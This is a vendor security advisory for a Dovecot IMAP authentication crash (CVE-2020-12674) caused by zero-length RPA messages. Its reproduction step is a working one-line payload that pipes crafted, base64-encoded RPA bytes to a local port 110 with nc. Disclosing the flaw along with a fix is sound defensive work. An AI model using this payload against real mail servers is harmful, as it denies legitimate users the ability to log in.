Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server Internal reference: DOP-1869 (Bug ID) Vulnerability type: CWE-126 (Buffer over-read) Vulnerable version: 2.2 Vulnerable component: auth Fixed version: 2.3.11.3 Report confidence: Confirmed Solution status: Fix available Vendor notification: 2020-05-03 Researcher credit: Orange from DEVCORE team CVE reference: CVE-2020-12674 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details: Dovecot's RPA mechanism implementation accepts zero-length message, which leads to assert-crash later on

Risk: An adversary can use this vulnerability to crash dovecot auth process repeatedly, preventing login.

Steps to reproduce: (echo 'AUTH RPA'; echo -ne '\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x01\x00\x04\x00\x00\x01' | base64 -w 0; echo ; echo -ne '\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x00\x03A@A\x00' | base64 -w 0; echo ; echo QUIT) | nc 127.0.0.1 110

Workaround: Disable RPA authentication.

Solution: Upgrade to fixed version.

Best regards, Aki Tuomi Open-Xchange oy